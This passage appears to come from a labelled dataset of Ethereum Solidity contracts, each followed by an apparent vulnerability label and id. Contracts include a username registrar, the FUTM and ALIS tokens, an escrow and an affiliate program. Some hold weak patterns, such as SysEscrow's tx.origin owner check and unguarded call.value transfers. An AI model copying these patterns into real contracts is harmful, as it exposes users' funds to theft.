registerUser(_from, label, account, pubkeyA, pubkeyB);
}
function migrateUsername(
bytes32 _label,
uint256 _tokenBalance,
uint256 _creationTime,
address _accountOwner
)
external
onlyParentRegistry
{
if (_tokenBalance > 0) {
require(
token.transferFrom(
parentRegistry,
address(this),
_tokenBalance
),
"Error moving funds from old registar."
);
reserveAmount += _tokenBalance;
}
accounts[_label] = Account(_tokenBalance, _creationTime, _accountOwner);
}
function migrateRegistry(
uint256 _price
)
external
onlyParentRegistry
{
require(state == RegistrarState.Inactive, "Not Inactive");
require(ensRegistry.owner(ensNode) == address(this), "ENS registry owner not transfered.");
price = _price;
setState(RegistrarState.Active);
emit RegistryPrice(_price);
}
function registerUser(
address _owner,
bytes32 _label,
address _account,
bytes32 _pubkeyA,
bytes32 _pubkeyB
)
internal
returns(bytes32 namehash)
{
require(state == RegistrarState.Active, "Registry not active.");
namehash = keccak256(abi.encodePacked(ensNode, _label));
require(ensRegistry.owner(namehash) == address(0), "ENS node already owned.");
require(accounts[_label].creationTime == 0, "Username already registered.");
accounts[_label] = Account(price, block.timestamp, _owner);
if(price > 0) {
require(token.allowance(_owner, address(this)) >= price, "Unallowed to spend.");
require(
token.transferFrom(
_owner,
address(this),
price
),
"Transfer failed"
);
reserveAmount += price;
}
bool resolvePubkey = _pubkeyA != 0 || _pubkeyB != 0;
bool resolveAccount = _account != address(0);
if (resolvePubkey || resolveAccount) {
ensRegistry.setSubnodeOwner(ensNode, _label, address(this));
ensRegistry.setResolver(namehash, resolver);
if (resolveAccount) {
resolver.setAddr(namehash, _account);
}
if (resolvePubkey) {
resolver.setPubkey(namehash, _pubkeyA, _pubkeyB);
}
ensRegistry.setOwner(namehash, _owner);
} else {
ensRegistry.setSubnodeOwner(ensNode, _label, _owner);
}
emit UsernameOwner(namehash, _owner);
}
function slashUsername(
bytes _username,
uint256 _reserveSecret
)
internal
{
bytes32 label = keccak256(_username);
bytes32 namehash = keccak256(abi.encodePacked(ensNode, label));
uint256 amountToTransfer = 0;
uint256 creationTime = accounts[label].creationTime;
address owner = ensRegistry.owner(namehash);
if(creationTime == 0) {
require(
owner != address(0) ||
ensRegistry.resolver(namehash) != address(0),
"Nothing to slash."
);
} else {
assert(creationTime != block.timestamp);
amountToTransfer = accounts[label].balance;
delete accounts[label];
}
ensRegistry.setSubnodeOwner(ensNode, label, address(this));
ensRegistry.setResolver(namehash, address(0));
ensRegistry.setOwner(namehash, address(0));
if (amountToTransfer > 0) {
reserveAmount -= amountToTransfer;
uint256 partialDeposit = amountToTransfer / 3;
amountToTransfer = partialDeposit * 2;
bytes32 secret = keccak256(abi.encodePacked(namehash, creationTime, _reserveSecret));
SlashReserve memory reserve = reservedSlashers[secret];
require(reserve.reserver != address(0), "Not reserved.");
require(reserve.blockNumber < block.number, "Cannot reveal in same block");
delete reservedSlashers[secret];
require(token.transfer(reserve.reserver, amountToTransfer), "Error in transfer.");
}
emit UsernameOwner(namehash, address(0));
}
function setState(RegistrarState _state) private {
state = _state;
emit RegistryState(_state);
}
function eraseNodeHierarchy(
uint _idx,
bytes32[] _labels,
bytes32 _subnode
)
private
{
ensRegistry.setSubnodeOwner(_subnode, _labels[_idx], address(this));
bytes32 subnode = keccak256(abi.encodePacked(_subnode, _labels[_idx]));
if (_idx > 0) {
eraseNodeHierarchy(_idx - 1, _labels, subnode);
}
ensRegistry.setResolver(subnode, 0);
ensRegistry.setOwner(subnode, 0);
}
function abiDecodeRegister(
bytes _data
)
private
pure
returns(
bytes4 sig,
bytes32 label,
address account,
bytes32 pubkeyA,
bytes32 pubkeyB
)
{
assembly {
sig := mload(add(_data, add(0x20, 0)))
label := mload(add(_data, 36))
account := mload(add(_data, 68))
pubkeyA := mload(add(_data, 100))
pubkeyB := mload(add(_data, 132))
}
}
} | 1 | 4,075 |
pragma solidity ^0.4.24;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FUTM is MintableToken, BurnableToken, RBAC {
using SafeMath for uint256;
string public constant name = "Futereum Markets";
string public constant symbol = "FUTM";
uint8 public constant decimals = 18;
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_SUPER = "super";
uint public swapLimit;
uint public constant CYCLE_CAP = 100000 * (10 ** uint256(decimals));
uint public constant BILLION = 10 ** 9;
event SwapStarted(uint256 startTime);
event MiningRestart(uint256 endTime);
event CMCUpdate(string updateType, uint value);
uint offset = 10**18;
uint public exchangeRateFUTB;
uint public exchangeRateFUTX;
uint public cycleMintSupply = 0;
bool public isMiningOpen = false;
uint public CMC = 129238998229;
uint public cycleEndTime;
address public constant FUTC = 0xdaa6CD28E6aA9d656930cE4BB4FA93eEC96ee791;
address public constant FUTB = 0x42D8F8E19F73707397B6e9eB7dD022d3c0aE736c;
address public constant FUTX = 0x8b7d07b6ffB9364e97B89cEA8b84F94249bE459F;
constructor() public {
owner = this;
totalSupply_ = 0;
addRole(msg.sender, ROLE_ADMIN);
addRole(msg.sender, ROLE_SUPER);
exchangeRateFUTB = offset.mul(offset).div(CMC.mul(offset).div(BILLION)).mul(65).div(100);
exchangeRateFUTX = offset.mul(offset).div(uint(14757117940).mul(offset).div(uint(67447696614)).mul(CMC).div(BILLION)).mul(65).div(100);
}
modifier canMine() {
require(isMiningOpen);
_;
}
function mine(uint amount) canMine external {
require(amount > 0);
require(cycleMintSupply < CYCLE_CAP);
require(ERC20(FUTB).transferFrom(msg.sender, address(this), amount));
uint refund = _mine(exchangeRateFUTB, amount);
if(refund > 0) {
ERC20(FUTB).transfer(msg.sender, refund);
}
if (cycleMintSupply == CYCLE_CAP) {
_startSwap();
}
}
function _mine(uint _rate, uint _inAmount) private returns (uint) {
assert(_rate > 0);
if (now > cycleEndTime && cycleMintSupply > 0) {
_startSwap();
return _inAmount;
}
uint tokens = _rate.mul(_inAmount).div(offset);
uint refund = 0;
uint futcFeed = tokens.mul(35).div(65);
if (tokens + futcFeed + cycleMintSupply > CYCLE_CAP) {
uint overage = tokens + futcFeed + cycleMintSupply - CYCLE_CAP;
uint tokenOverage = overage.mul(65).div(100);
futcFeed -= (overage - tokenOverage);
tokens -= tokenOverage;
refund = tokenOverage.mul(offset).div(_rate);
}
cycleMintSupply += (tokens + futcFeed);
require(futcFeed > 0, "Mining payment too small.");
MintableToken(this).mint(msg.sender, tokens);
MintableToken(this).mint(FUTC, futcFeed);
return refund;
}
bool public swapOpen = false;
mapping(address => uint) public swapRates;
function _startSwap() private {
swapOpen = true;
isMiningOpen = false;
swapLimit = cycleMintSupply.mul(35).div(100);
swapRates[FUTX] = ERC20(FUTX).balanceOf(address(this)).mul(offset).mul(35).div(100).div(swapLimit);
swapRates[FUTB] = ERC20(FUTB).balanceOf(address(this)).mul(offset).mul(35).div(100).div(swapLimit);
emit SwapStarted(now);
}
function swap(uint amt) public {
require(swapOpen && swapLimit > 0);
if (amt > swapLimit) {
amt = swapLimit;
}
swapLimit -= amt;
burn(amt);
if (amt.mul(swapRates[FUTX]) > 0) {
ERC20(FUTX).transfer(msg.sender, amt.mul(swapRates[FUTX]).div(offset));
}
if (amt.mul(swapRates[FUTB]) > 0) {
ERC20(FUTB).transfer(msg.sender, amt.mul(swapRates[FUTB]).div(offset));
}
if (swapLimit == 0) {
_restart();
}
}
function _restart() private {
require(swapOpen);
require(swapLimit == 0);
cycleMintSupply = 0;
swapOpen = false;
isMiningOpen = true;
cycleEndTime = now + 100 days;
emit MiningRestart(cycleEndTime);
}
function updateCMC(uint _cmc) private {
require(_cmc > 0);
CMC = _cmc;
emit CMCUpdate("TOTAL_CMC", _cmc);
exchangeRateFUTB = offset.mul(offset).div(CMC.mul(offset).div(BILLION)).mul(65).div(100);
}
function updateCMC(uint _cmc, uint _btc, uint _eth) public onlyAdmin{
require(_btc > 0 && _eth > 0);
updateCMC(_cmc);
emit CMCUpdate("BTC_CMC", _btc);
emit CMCUpdate("ETH_CMC", _eth);
exchangeRateFUTX = offset.mul(offset).div(_eth.mul(offset).div(_btc).mul(CMC).div(BILLION)).mul(65).div(100);
}
function setIsMiningOpen(bool isOpen) onlyAdmin external {
isMiningOpen = isOpen;
}
modifier onlySuper() {
checkRole(msg.sender, ROLE_SUPER);
_;
}
modifier onlyAdmin() {
checkRole(msg.sender, ROLE_ADMIN);
_;
}
function addAdmin(address _addr) public onlySuper {
addRole(_addr, ROLE_ADMIN);
}
function removeAdmin(address _addr) public onlySuper {
removeRole(_addr, ROLE_ADMIN);
}
function changeSuper(address _addr) public onlySuper {
addRole(_addr, ROLE_SUPER);
removeRole(msg.sender, ROLE_SUPER);
}
} | 1 | 4,160 |
pragma solidity ^0.4.18;
contract SysEscrow {
address public owner;
address arbitrator;
uint public MinDeposit = 600000000000000000;
uint constant ARBITRATOR_PERCENT = 1;
struct Escrow {
bool exists;
address seller;
address buyer;
uint summ;
uint buyerCanCancelAfter;
bool buyerApprovedTheTransaction;
bool arbitratorStopTransaction;
}
mapping (bytes32 => Escrow) public escrows;
modifier onlyOwner() {
require(tx.origin == owner);
_;
}
function SysEscrow() {
owner = msg.sender;
arbitrator = msg.sender;
}
function createEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint _paymentWindowInSeconds
) payable external {
uint256 _value = msg.value;
require(_value>=MinDeposit);
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(!escrows[_tradeHash].exists);
uint _buyerCanCancelAfter = now + _paymentWindowInSeconds;
escrows[_tradeHash] = Escrow(true, _seller, _buyer, _value, _buyerCanCancelAfter, false, false);
}
function setArbitrator( address _newArbitrator ) onlyOwner {
arbitrator = _newArbitrator;
}
function setOwner(address _newOwner) onlyOwner external {
owner = _newOwner;
}
function cancelEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) external {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(escrows[_tradeHash].exists);
require(escrows[_tradeHash].buyerCanCancelAfter<now);
uint256 arbitratorValue = escrows[_tradeHash].summ*ARBITRATOR_PERCENT/100;
uint256 buyerValue = escrows[_tradeHash].summ - arbitratorValue;
bool buyerReceivedMoney = escrows[_tradeHash].buyer.call.value(buyerValue)();
bool arbitratorReceivedMoney = arbitrator.call.value(arbitratorValue)();
if ( buyerReceivedMoney && arbitratorReceivedMoney )
{
delete escrows[_tradeHash];
} else {
throw;
}
}
function approveEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) external {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(escrows[_tradeHash].exists);
require(escrows[_tradeHash].buyer==msg.sender);
escrows[_tradeHash].buyerApprovedTheTransaction = true;
}
function releaseEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) external {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
require(escrows[_tradeHash].exists);
require(escrows[_tradeHash].buyerApprovedTheTransaction);
uint256 arbitratorValue = escrows[_tradeHash].summ*ARBITRATOR_PERCENT/100;
uint256 buyerValue = escrows[_tradeHash].summ - arbitratorValue;
bool sellerReceivedMoney = escrows[_tradeHash].seller.call.value(buyerValue)();
bool arbitratorReceivedMoney = arbitrator.call.value(arbitratorValue)();
if ( sellerReceivedMoney && arbitratorReceivedMoney )
{
delete escrows[_tradeHash];
} else {
throw;
}
}
function isExistsEscrow(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value
) constant returns (bool es) {
bytes32 _tradeHash = keccak256(_tradeID, _seller, _buyer, _value);
return escrows[_tradeHash].exists;
}
} | 0 | 869 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract BurnableToken is StandardToken {
function burn(uint _value)
public
{
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AlisToken is MintableToken, BurnableToken {
string public constant name = 'AlisToken';
string public constant symbol = 'ALIS';
uint public constant decimals = 18;
} | 1 | 3,349 |
pragma solidity ^0.4.15;
contract BMICOAffiliateProgramm {
mapping (string => address) partnersPromo;
mapping (address => uint256) referrals;
struct itemPartners {
uint256 balance;
string promo;
bool create;
}
mapping (address => itemPartners) partnersInfo;
uint256 public ref_percent = 100;
struct itemHistory {
uint256 datetime;
address referral;
uint256 amount_invest;
}
mapping(address => itemHistory[]) history;
uint256 public amount_referral_invest;
address public owner;
address public contractPreICO;
address public contractICO;
function BMICOAffiliateProgramm(){
owner = msg.sender;
contractPreICO = address(0x0);
contractICO = address(0x0);
}
modifier isOwner()
{
assert(msg.sender == owner);
_;
}
function str_length(string x) constant internal returns (uint256) {
bytes32 str;
assembly {
str := mload(add(x, 32))
}
bytes memory bytesString = new bytes(32);
uint256 charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(str) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
return charCount;
}
function changeOwner(address new_owner) isOwner {
assert(new_owner!=address(0x0));
assert(new_owner!=address(this));
owner = new_owner;
}
function setReferralPercent(uint256 new_percent) isOwner {
ref_percent = new_percent;
}
function setContractPreICO(address new_address) isOwner {
assert(contractPreICO==address(0x0));
assert(new_address!=address(0x0));
assert(new_address!=address(this));
contractPreICO = new_address;
}
function setContractICO(address new_address) isOwner {
assert(contractICO==address(0x0));
assert(new_address!=address(0x0));
assert(new_address!=address(this));
contractICO = new_address;
}
function setPromoToPartner(string promo) {
assert(partnersPromo[promo]==address(0x0));
assert(partnersInfo[msg.sender].create==false);
assert(str_length(promo)>0 && str_length(promo)<=6);
partnersPromo[promo] = msg.sender;
partnersInfo[msg.sender].balance = 0;
partnersInfo[msg.sender].promo = promo;
partnersInfo[msg.sender].create = true;
}
function checkPromo(string promo) constant returns(bool){
return partnersPromo[promo]!=address(0x0);
}
function checkPartner(address partner_address) constant returns(bool isPartner, string promo){
isPartner = partnersInfo[partner_address].create;
promo = '-1';
if(isPartner){
promo = partnersInfo[partner_address].promo;
}
}
function calc_partnerPercent(uint256 ref_amount_invest) constant internal returns(uint16 percent){
percent = 0;
if(ref_amount_invest > 0){
if(ref_amount_invest < 2 ether){
percent = 100;
}
else if(ref_amount_invest >= 2 ether && ref_amount_invest < 3 ether){
percent = 200;
}
else if(ref_amount_invest >= 3 ether && ref_amount_invest < 4 ether){
percent = 300;
}
else if(ref_amount_invest >= 4 ether && ref_amount_invest < 5 ether){
percent = 400;
}
else if(ref_amount_invest >= 5 ether){
percent = 500;
}
}
}
function partnerInfo(address partner_address) constant internal returns(string promo, uint256 balance, uint256[] h_datetime, uint256[] h_invest, address[] h_referrals){
if(partner_address != address(0x0) && partnersInfo[partner_address].create){
promo = partnersInfo[partner_address].promo;
balance = partnersInfo[partner_address].balance;
h_datetime = new uint256[](history[partner_address].length);
h_invest = new uint256[](history[partner_address].length);
h_referrals = new address[](history[partner_address].length);
for(var i=0; i<history[partner_address].length; i++){
h_datetime[i] = history[partner_address][i].datetime;
h_invest[i] = history[partner_address][i].amount_invest;
h_referrals[i] = history[partner_address][i].referral;
}
}
else{
promo = '-1';
balance = 0;
h_datetime = new uint256[](0);
h_invest = new uint256[](0);
h_referrals = new address[](0);
}
}
function partnerInfo_for_Partner(bytes32 hash, uint8 v, bytes32 r, bytes32 s) constant returns(string, uint256, uint256[], uint256[], address[]){
address partner_address = ecrecover(hash, v, r, s);
return partnerInfo(partner_address);
}
function partnerInfo_for_Owner (address partner, bytes32 hash, uint8 v, bytes32 r, bytes32 s) constant returns(string, uint256, uint256[], uint256[], address[]){
if(owner == ecrecover(hash, v, r, s)){
return partnerInfo(partner);
}
else {
return ('-1', 0, new uint256[](0), new uint256[](0), new address[](0));
}
}
function add_referral(address referral, string promo, uint256 amount) external returns(address partner, uint256 p_partner, uint256 p_referral){
p_partner = 0;
p_referral = 0;
partner = address(0x0);
if (msg.sender == contractPreICO || msg.sender == contractICO){
if(partnersPromo[promo] != address(0x0) && partnersPromo[promo] != referral){
partner = partnersPromo[promo];
referrals[referral] += amount;
amount_referral_invest += amount;
partnersInfo[partner].balance += amount;
history[partner].push(itemHistory(now, referral, amount));
p_partner = (amount*uint256(calc_partnerPercent(amount)))/10000;
p_referral = (amount*ref_percent)/10000;
}
}
}
} | 0 | 1,042 |
pragma solidity ^0.4.25;
pragma experimental ABIEncoderV2;
contract Modifiable {
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
contract SelfDestructible {
bool public selfDestructionDisabled;
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
function destructor()
public
view
returns (address);
function disableSelfDestruction()
public
{
require(destructor() == msg.sender);
selfDestructionDisabled = true;
emit SelfDestructionDisabledEvent(msg.sender);
}
function triggerSelfDestruction()
public
{
require(destructor() == msg.sender);
require(!selfDestructionDisabled);
emit TriggerSelfDestructionEvent(msg.sender);
selfdestruct(msg.sender);
}
}
contract Ownable is Modifiable, SelfDestructible {
address public deployer;
address public operator;
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
function destructor()
public
view
returns (address)
{
return deployer;
}
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
address oldDeployer = deployer;
deployer = newDeployer;
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
address oldOperator = operator;
operator = newOperator;
emit SetOperatorEvent(oldOperator, newOperator);
}
}
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
contract Servable is Ownable {
struct ServiceInfo {
bool registered;
uint256 activationTimestamp;
mapping(bytes32 => bool) actionsEnabledMap;
bytes32[] actionsList;
}
mapping(address => ServiceInfo) internal registeredServicesMap;
uint256 public serviceActivationTimeout;
event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds);
event RegisterServiceEvent(address service);
event RegisterServiceDeferredEvent(address service, uint256 timeout);
event DeregisterServiceEvent(address service);
event EnableServiceActionEvent(address service, string action);
event DisableServiceActionEvent(address service, string action);
function setServiceActivationTimeout(uint256 timeoutInSeconds)
public
onlyDeployer
{
serviceActivationTimeout = timeoutInSeconds;
emit ServiceActivationTimeoutEvent(timeoutInSeconds);
}
function registerService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, 0);
emit RegisterServiceEvent(service);
}
function registerServiceDeferred(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, serviceActivationTimeout);
emit RegisterServiceDeferredEvent(service, serviceActivationTimeout);
}
function deregisterService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
registeredServicesMap[service].registered = false;
emit DeregisterServiceEvent(service);
}
function enableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
bytes32 actionHash = hashString(action);
require(!registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = true;
registeredServicesMap[service].actionsList.push(actionHash);
emit EnableServiceActionEvent(service, action);
}
function disableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
bytes32 actionHash = hashString(action);
require(registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = false;
emit DisableServiceActionEvent(service, action);
}
function isRegisteredService(address service)
public
view
returns (bool)
{
return registeredServicesMap[service].registered;
}
function isRegisteredActiveService(address service)
public
view
returns (bool)
{
return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp;
}
function isEnabledServiceAction(address service, string action)
public
view
returns (bool)
{
bytes32 actionHash = hashString(action);
return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash];
}
function hashString(string _string)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_string));
}
function _registerService(address service, uint256 timeout)
private
{
if (!registeredServicesMap[service].registered) {
registeredServicesMap[service].registered = true;
registeredServicesMap[service].activationTimestamp = block.timestamp + timeout;
}
}
modifier onlyActiveService() {
require(isRegisteredActiveService(msg.sender));
_;
}
modifier onlyEnabledServiceAction(string action) {
require(isEnabledServiceAction(msg.sender, action));
_;
}
}
library SafeMathIntLib {
int256 constant INT256_MIN = int256((uint256(1) << 255));
int256 constant INT256_MAX = int256(~((uint256(1) << 255)));
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != INT256_MIN || b != - 1);
return a / b;
}
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != - 1 || b != INT256_MIN);
require(b != - 1 || a != INT256_MIN);
int256 c = a * b;
require((b == 0) || (c / b == a));
return c;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function div_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b > 0);
return a / b;
}
function mul_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a * b;
require(a == 0 || c / a == b);
require(c >= 0);
return c;
}
function sub_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
